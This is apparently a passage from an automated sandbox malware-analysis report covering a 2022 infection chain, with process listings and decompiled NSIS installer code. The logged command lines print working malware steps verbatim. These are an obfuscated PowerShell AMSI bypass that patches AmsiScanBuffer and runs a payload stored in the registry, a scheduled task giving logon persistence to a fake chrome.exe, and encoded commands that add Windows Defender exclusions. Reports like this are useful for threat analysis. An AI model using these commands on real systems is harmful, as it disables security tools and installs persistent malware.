@([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$LbwxtlPJWDL=$uYKrZWxknTiUv.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$UsbtvKZkuSsHuw=$SpNyfScDlNPPHB.Invoke($Null,@([Object]$LbwxtlPJWDL,[Object]('Load'+'LibraryA')));$GBWVSxTZRtiWMYLEL=$SpNyfScDlNPPHB.Invoke($Null,@([Object]$LbwxtlPJWDL,[Object]('Vir'+'tual'+'Pro'+'tect')));$zcmbglj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UsbtvKZkuSsHuw,$RRmRtbQVOsCwqbtFCRP).Invoke('a'+'m'+'si.dll');$NtWqUAjxRFzIehWzj=$SpNyfScDlNPPHB.Invoke($Null,@([Object]$zcmbglj,[Object]('Ams'+'iSc'+'an'+'Buffer')));$QZnCEHiAlz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GBWVSxTZRtiWMYLEL,$CSrLsWTvUKtnfJeCoYnQHQ).Invoke($NtWqUAjxRFzIehWzj,[uint32]8,4,[ref]$QZnCEHiAlz);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$NtWqUAjxRFzIehWzj,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GBWVSxTZRtiWMYLEL,$CSrLsWTvUKtnfJeCoYnQHQ).Invoke($NtWqUAjxRFzIehWzj,[uint32]8,0x20,[ref]$QZnCEHiAlz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.Invoke($Null,$Null)"
Imagebase:	0xdd0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6028, Parent PID: 6372

General

Target ID:	24
Start time:	01:41:41
Start date:	27/03/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff647620000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 6940, Parent PID: 960

General

Target ID:	25
Start time:	01:41:42
Start date:	27/03/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:JcVEStQtPhkP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jwjRgZFzaeZBQB,[Parameter(Position=1)][Type]$jXrdWylJno)$JkETjFsAcrF=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$JkETjFsAcrF.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$jwjRgZFzaeZBQB).SetImplementationFlags('Runtime,Managed');$JkETjFsAcrF.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$jXrdWylJno,$jwjRgZFzaeZBQB).SetImplementationFlags('Runtime,Managed');Write-Output $JkETjFsAcrF.CreateType();}$lPmVEIqLxWSBJ=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$oknnqNPEawtCof=$lPmVEIqLxWSBJ.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PfTqTVeTqNbzEtTZAwA=JcVEStQtPhkP @([String])([IntPtr]);$FBhryrsEcCEQMAYVVFmrjj=JcVEStQtPhkP @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$gdWNaSIjpXI=$lPmVEIqLxWSBJ.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$MwCkRVFOfjwTFV=$oknnqNPEawtCof.Invoke($Null,@([Object]$gdWNaSIjpXI,[Object]('Load'+'LibraryA')));$PwfBMMcphOddVTLUY=$oknnqNPEawtCof.Invoke($Null,@([Object]$gdWNaSIjpXI,[Object]('Vir'+'tual'+'Pro'+'tect')));$FyAgKxj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MwCkRVFOfjwTFV,$PfTqTVeTqNbzEtTZAwA).Invoke('a'+'m'+'si.dll');$GiLFGjttEZsjytHxc=$oknnqNPEawtCof.Invoke($Null,@([Object]$FyAgKxj,[Object]('Ams'+'iSc'+'an'+'Buffer')));$XarcXAurwd=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PwfBMMcphOddVTLUY,$FBhryrsEcCEQMAYVVFmrjj).Invoke($GiLFGjttEZsjytHxc,[uint32]8,4,[ref]$XarcXAurwd);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$GiLFGjttEZsjytHxc,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PwfBMMcphOddVTLUY,$FBhryrsEcCEQMAYVVFmrjj).Invoke($GiLFGjttEZsjytHxc,[uint32]8,0x20,[ref]$XarcXAurwd);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.Invoke($Null,$Null)"
Imagebase:	0x7ff6ba650000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2280, Parent PID: 6940

General

Target ID:	26
Start time:	01:41:42
Start date:	27/03/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff647620000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 5412, Parent PID: 6836

General

Target ID:	27
Start time:	01:41:45
Start date:	27/03/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "chrome" /tr "C:\Users\user\AppData\Roaming\Chrome\chrome.exe
Imagebase:	0x7ff7bb450000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6876, Parent PID: 5412

General

Target ID:	28
Start time:	01:41:46
Start date:	27/03/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff647620000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 1584, Parent PID: 5412

General

Target ID:	29
Start time:	01:41:46
Start date:	27/03/2022
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /f /sc onlogon /rl highest /tn "chrome" /tr "C:\Users\user\AppData\Roaming\Chrome\chrome.exe"
Imagebase:	0x7ff71aea0000
File size:	226816 bytes
MD5 hash:	838D346D1D28F00783B7A6C6BD03A0DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6564, Parent PID: 960

General

Target ID:	30
Start time:	01:41:47
Start date:	27/03/2022
Path:	C:\Users\user\AppData\Roaming\Chrome\chrome.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Chrome\chrome.exe
Imagebase:	0x20000
File size:	2366976 bytes
MD5 hash:	04F6704BD3AB97905A497BAF3D7FDB3C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_NET_NAME_ConfuserEx, Description: Detects ConfuserEx packed file, Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe, Author: Arnim Rupp
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 77%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 6552, Parent PID: 6836

General

Target ID:	31
Start time:	01:41:48
Start date:	27/03/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd" cmd /c "C:\Users\user\AppData\Roaming\Chrome\chrome.exe
Imagebase:	0x7ff7fc480000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6548, Parent PID: 6552

General

Target ID:	32
Start time:	01:41:49
Start date:	27/03/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff647620000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 5460, Parent PID: 6552

General

Target ID:	33
Start time:	01:41:50
Start date:	27/03/2022
Path:	C:\Users\user\AppData\Roaming\Chrome\chrome.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Chrome\chrome.exe
Imagebase:	0xfa0000
File size:	2366976 bytes
MD5 hash:	04F6704BD3AB97905A497BAF3D7FDB3C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 6892, Parent PID: 5460

General

Target ID:	36
Start time:	01:42:09
Start date:	27/03/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
Imagebase:	0x7ff7bb450000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: conhost.exePID: 6432, Parent PID: 6892

General

Target ID:	37
Start time:	01:42:10
Start date:	27/03/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7748d0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 5728, Parent PID: 6892

General

Target ID:	38
Start time:	01:42:11
Start date:	27/03/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
Imagebase:	0x7ff6ba650000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Analysis Process: dllhost.exePID: 2324, Parent PID: 572

General

Target ID:	39
Start time:	01:42:19
Start date:	27/03/2022
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{bb7b2400-d282-40c3-8b5b-9f36c353d0f9}
Imagebase:	0x7ff6535c0000
File size:	20888 bytes
MD5 hash:	2528137C6745C4EADD87817A1909677E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: winlogon.exePID: 572, Parent PID: 2324

General

Target ID:	42
Start time:	01:42:25
Start date:	27/03/2022
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff775840000
File size:	677376 bytes
MD5 hash:	F9017F2DC455AD373DF036F5817A8870
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 3784, Parent PID: 6564

General

Target ID:	43
Start time:	01:42:29
Start date:	27/03/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
Imagebase:	0x7ff7bb450000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: lsass.exePID: 612, Parent PID: 2324

General

Target ID:	44
Start time:	01:42:29
Start date:	27/03/2022
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff765a60000
File size:	57976 bytes
MD5 hash:	317340CD278A374BCEF6A30194557227
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6416, Parent PID: 3784

General

Target ID:	45
Start time:	01:42:34
Start date:	27/03/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff647620000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 4916, Parent PID: 3784

General

Target ID:	46
Start time:	01:42:35
Start date:	27/03/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
Imagebase:	0x7ff6ba650000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Analysis Process: svchost.exePID: 724, Parent PID: 2324

General

Target ID:	47
Start time:	01:42:37
Start date:	27/03/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k dcomlaunch -p -s PlugPlay
Imagebase:	0x7ff7338d0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 900, Parent PID: 2324

General

Target ID:	49
Start time:	01:42:40
Start date:	27/03/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k dcomlaunch -p -s LSM
Imagebase:	0x7ff7338d0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: dwm.exePID: 984, Parent PID: 2324

General

Target ID:	50
Start time:	01:42:45
Start date:	27/03/2022
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	dwm.exe
Imagebase:	0x7ff7aa950000
File size:	62464 bytes
MD5 hash:	70073A05B2B43FFB7A625708BB29E7C7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: Install.exePID: 6752, Parent PID: 5280COMMON

Execution Graph

Execution Coverage:	13.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.6%
Total number of Nodes:	1340
Total number of Limit Nodes:	17

Executed Functions

Function 0040352D Relevance: 81.0, APIs: 34, Strings: 12, Instructions: 450
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			_entry_() {
				WCHAR* _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				int _v24;
				int _v28;
				struct _TOKEN_PRIVILEGES _v40;
				signed char _v42;
				int _v44;
				signed int _v48;
				intOrPtr _v278;
				signed short _v310;
				struct _OSVERSIONINFOW _v324;
				struct _SHFILEINFOW _v1016;
				intOrPtr* _t88;
				intOrPtr* _t94;
				void _t97;
				void* _t116;
				WCHAR* _t118;
				signed int _t119;
				intOrPtr* _t123;
				void* _t137;
				void* _t143;
				void* _t148;
				void* _t152;
				void* _t157;
				signed int _t167;
				void* _t170;
				void* _t175;
				intOrPtr _t177;
				intOrPtr _t178;
				intOrPtr* _t179;
				int _t188;
				void* _t189;
				void* _t198;
				signed int _t204;
				signed int _t209;
				signed int _t214;
				int* _t218;
				signed int _t226;
				signed int _t229;
				CHAR* _t231;
				signed int _t233;
				WCHAR* _t234;

				0x440000 = 0x20;
				_t188 = 0;
				_v24 = 0;
				_v8 = L"Error writing temporary file. Make sure your temp folder is valid.";
				_v20 = 0;
				SetErrorMode(0x8001); // executed
				_v324.szCSDVersion = 0;
				_v48 = 0;
				_v44 = 0;
				_v324.dwOSVersionInfoSize = 0x11c;
				if(GetVersionExW( &_v324) == 0) {
					_v324.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v324);
					asm("sbb eax, eax");
					_v42 = 4;
					_v48 =  !( ~(_v324.szCSDVersion - 0x53)) & _v278 + 0xffffffd0;
				}
				if(_v324.dwMajorVersion < 0xa) {
					_v310 = _v310 & 0x00000000;
				}
				 *0x434fb8 = _v324.dwBuildNumber;
				 *0x434fbc = (_v324.dwMajorVersion & 0x0000ffff | _v324.dwMinorVersion & 0x000000ff) << 0x00000010 | _v48 & 0x0000ffff | _v42 & 0x000000ff;
				if( *0x434fbe != 0x600) {
					_t179 = E0040690A(_t188);
					if(_t179 != _t188) {
						 *_t179(0xc00);
					}
				}
				_t231 = "UXTHEME";
				do {
					E0040689A(_t231); // executed
					_t231 =  &(_t231[lstrlenA(_t231) + 1]);
				} while ( *_t231 != 0);
				E0040690A(0xb);
				 *0x434f04 = E0040690A(9);
				_t88 = E0040690A(7);
				if(_t88 != _t188) {
					_t88 =  *_t88(0x1e);
					if(_t88 != 0) {
						 *0x434fbc =  *0x434fbc | 0x00000080;
					}
				}
				__imp__#17();
				__imp__OleInitialize(_t188); // executed
				 *0x434fc0 = _t88;
				SHGetFileInfoW(0x42b228, _t188,  &_v1016, 0x2b4, _t188); // executed
				E0040653D(0x433f00, L"NSIS Error");
				E0040653D(0x440000, GetCommandLineW());
				_t94 = 0x440000;
				_t233 = 0x22;
				 *0x434f00 = 0x400000;
				if( *0x440000 == _t233) {
					_t94 = 0x440002;
				}
				_t198 = CharNextW(E00405E39(_t94, 0x440000));
				_v16 = _t198;
				while(1) {
					_t97 =  *_t198;
					_t251 = _t97 - _t188;
					if(_t97 == _t188) {
						break;
					}
					_t209 = 0x20;
					__eflags = _t97 - _t209;
					if(_t97 != _t209) {
						L17:
						__eflags =  *_t198 - _t233;
						_v12 = _t209;
						if( *_t198 == _t233) {
							_v12 = _t233;
							_t198 = _t198 + 2;
							__eflags = _t198;
						}
						__eflags =  *_t198 - 0x2f;
						if( *_t198 != 0x2f) {
							L32:
							_t198 = E00405E39(_t198, _v12);
							__eflags =  *_t198 - _t233;
							if(__eflags == 0) {
								_t198 = _t198 + 2;
								__eflags = _t198;
							}
							continue;
						} else {
							_t198 = _t198 + 2;
							__eflags =  *_t198 - 0x53;
							if( *_t198 != 0x53) {
								L24:
								asm("cdq");
								asm("cdq");
								_t214 = L"NCRC" & 0x0000ffff;
								asm("cdq");
								_t226 = ( *0x40a2c2 & 0x0000ffff) << 0x00000010 |  *0x40a2c0 & 0x0000ffff | _t214;
								__eflags =  *_t198 - (( *0x40a2be & 0x0000ffff) << 0x00000010 | _t214);
								if( *_t198 != (( *0x40a2be & 0x0000ffff) << 0x00000010 | _t214)) {
									L29:
									asm("cdq");
									asm("cdq");
									_t209 = L" /D=" & 0x0000ffff;
									asm("cdq");
									_t229 = ( *0x40a2b6 & 0x0000ffff) << 0x00000010 |  *0x40a2b4 & 0x0000ffff | _t209;
									__eflags =  *(_t198 - 4) - (( *0x40a2b2 & 0x0000ffff) << 0x00000010 | _t209);
									if( *(_t198 - 4) != (( *0x40a2b2 & 0x0000ffff) << 0x00000010 | _t209)) {
										L31:
										_t233 = 0x22;
										goto L32;
									}
									__eflags =  *_t198 - _t229;
									if( *_t198 == _t229) {
										 *(_t198 - 4) = _t188;
										__eflags = _t198;
										E0040653D(0x440800, _t198);
										L37:
										_t234 = L"C:\\Users\\jones\\AppData\\Local\\Temp\\";
										GetTempPathW(0x400, _t234);
										_t116 = E004034FC(_t198, _t251);
										_t252 = _t116;
										if(_t116 != 0) {
											L40:
											DeleteFileW(L"1033"); // executed
											_t118 = E0040307D(_t254, _v20); // executed
											_v8 = _t118;
											if(_t118 != _t188) {
												L68:
												ExitProcess(); // executed
												__imp__OleUninitialize(); // executed
												if(_v8 == _t188) {
													if( *0x434f94 == _t188) {
														L77:
														_t119 =  *0x434fac;
														if(_t119 != 0xffffffff) {
															_v24 = _t119;
														}
														ExitProcess(_v24);
													}
													if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v16) != 0) {
														LookupPrivilegeValueW(_t188, L"SeShutdownPrivilege",  &(_v40.Privileges));
														_v40.PrivilegeCount = 1;
														_v28 = 2;
														AdjustTokenPrivileges(_v16, _t188,  &_v40, _t188, _t188, _t188);
													}
													_t123 = E0040690A(4);
													if(_t123 == _t188) {
														L75:
														if(ExitWindowsEx(2, 0x80040002) != 0) {
															goto L77;
														}
														goto L76;
													} else {
														_push(0x80040002);
														_push(0x25);
														_push(_t188);
														_push(_t188);
														_push(_t188);
														if( *_t123() == 0) {
															L76:
															E0040140B(9);
															goto L77;
														}
														goto L75;
													}
												}
												E00405B9D(_v8, 0x200010);
												ExitProcess(2);
											}
											if( *0x434f1c == _t188) {
												L51:
												 *0x434fac =  *0x434fac | 0xffffffff;
												_v24 = E00403BEC(_t264);
												goto L68;
											}
											_t218 = E00405E39(0x440000, _t188);
											if(_t218 < 0x440000) {
												L48:
												_t263 = _t218 - 0x440000;
												_v8 = L"Error launching installer";
												if(_t218 < 0x440000) {
													_t189 = E00405B08(__eflags);
													lstrcatW(_t234, L"~nsu");
													__eflags = _t189;
													if(_t189 != 0) {
														lstrcatW(_t234, "A");
													}
													lstrcatW(_t234, L".tmp");
													_t137 = lstrcmpiW(_t234, 0x441800);
													__eflags = _t137;
													if(_t137 == 0) {
														L67:
														_t188 = 0;
														__eflags = 0;
														goto L68;
													} else {
														__eflags = _t189;
														_push(_t234);
														if(_t189 == 0) {
															E00405AEB();
														} else {
															E00405A6E();
														}
														SetCurrentDirectoryW(_t234);
														__eflags =  *0x440800;
														if( *0x440800 == 0) {
															E0040653D(0x440800, 0x441800);
														}
														E0040653D(0x436000, _v16);
														_t201 = "A" & 0x0000ffff;
														_t143 = ( *0x40a25a & 0x0000ffff) << 0x00000010 | "A" & 0x0000ffff;
														__eflags = _t143;
														_v12 = 0x1a;
														 *0x436800 = _t143;
														do {
															E0040657A(0, 0x42aa28, _t234, 0x42aa28,  *((intOrPtr*)( *0x434f10 + 0x120)));
															DeleteFileW(0x42aa28);
															__eflags = _v8;
															if(_v8 != 0) {
																_t148 = CopyFileW(0x443800, 0x42aa28, 1);
																__eflags = _t148;
																if(_t148 != 0) {
																	E004062FD(_t201, 0x42aa28, 0);
																	E0040657A(0, 0x42aa28, _t234, 0x42aa28,  *((intOrPtr*)( *0x434f10 + 0x124)));
																	_t152 = E00405B20(0x42aa28);
																	__eflags = _t152;
																	if(_t152 != 0) {
																		CloseHandle(_t152);
																		_v8 = 0;
																	}
																}
															}
															 *0x436800 =  *0x436800 + 1;
															_t61 =  &_v12;
															 *_t61 = _v12 - 1;
															__eflags =  *_t61;
														} while ( *_t61 != 0);
														E004062FD(_t201, _t234, 0);
														goto L67;
													}
												}
												 *_t218 = _t188;
												_t221 =  &(_t218[2]);
												_t157 = E00405F14(_t263,  &(_t218[2]));
												_t264 = _t157;
												if(_t157 == 0) {
													goto L68;
												}
												E0040653D(0x440800, _t221);
												E0040653D(0x441000, _t221);
												_v8 = _t188;
												goto L51;
											}
											asm("cdq");
											asm("cdq");
											asm("cdq");
											_t204 = ( *0x40a27e & 0x0000ffff) << 0x00000010 | L" _?=" & 0x0000ffff;
											_t167 = ( *0x40a282 & 0x0000ffff) << 0x00000010 |  *0x40a280 & 0x0000ffff | (_t209 << 0x00000020 |  *0x40a282 & 0x0000ffff) << 0x10;
											while( *_t218 != _t204 || _t218[1] != _t167) {
												_t218 = _t218;
												if(_t218 >= 0x440000) {
													continue;
												}
												break;
											}
											_t188 = 0;
											goto L48;
										}
										GetWindowsDirectoryW(_t234, 0x3fb);
										lstrcatW(_t234, L"\\Temp");
										_t170 = E004034FC(_t198, _t252);
										_t253 = _t170;
										if(_t170 != 0) {
											goto L40;
										}
										GetTempPathW(0x3fc, _t234);
										lstrcatW(_t234, L"Low");
										SetEnvironmentVariableW(L"TEMP", _t234);
										SetEnvironmentVariableW(L"TMP", _t234);
										_t175 = E004034FC(_t198, _t253);
										_t254 = _t175;
										if(_t175 == 0) {
											goto L68;
										}
										goto L40;
									}
									goto L31;
								}
								__eflags =  *((intOrPtr*)(_t198 + 4)) - _t226;
								if( *((intOrPtr*)(_t198 + 4)) != _t226) {
									goto L29;
								}
								_t177 =  *((intOrPtr*)(_t198 + 8));
								__eflags = _t177 - 0x20;
								if(_t177 == 0x20) {
									L28:
									_t36 =  &_v20;
									 *_t36 = _v20 | 0x00000004;
									__eflags =  *_t36;
									goto L29;
								}
								__eflags = _t177 - _t188;
								if(_t177 != _t188) {
									goto L29;
								}
								goto L28;
							}
							_t178 =  *((intOrPtr*)(_t198 + 2));
							__eflags = _t178 - _t209;
							if(_t178 == _t209) {
								L23:
								 *0x434fa0 = 1;
								goto L24;
							}
							__eflags = _t178 - _t188;
							if(_t178 != _t188) {
								goto L24;
							}
							goto L23;
						}
					} else {
						goto L16;
					}
					do {
						L16:
						_t198 = _t198 + 2;
						__eflags =  *_t198 - _t209;
					} while ( *_t198 == _t209);
					goto L17;
				}
				goto L37;
			}

0x0040353b
0x0040353c
0x00403543
0x00403546
0x0040354d
0x00403550
0x00403563
0x00403569
0x0040356c
0x0040356f
0x0040357d
0x00403585
0x00403590
0x004035a9
0x004035ab
0x004035b3
0x004035b3
0x004035be
0x004035c0
0x004035c0
0x004035d5
0x004035fa
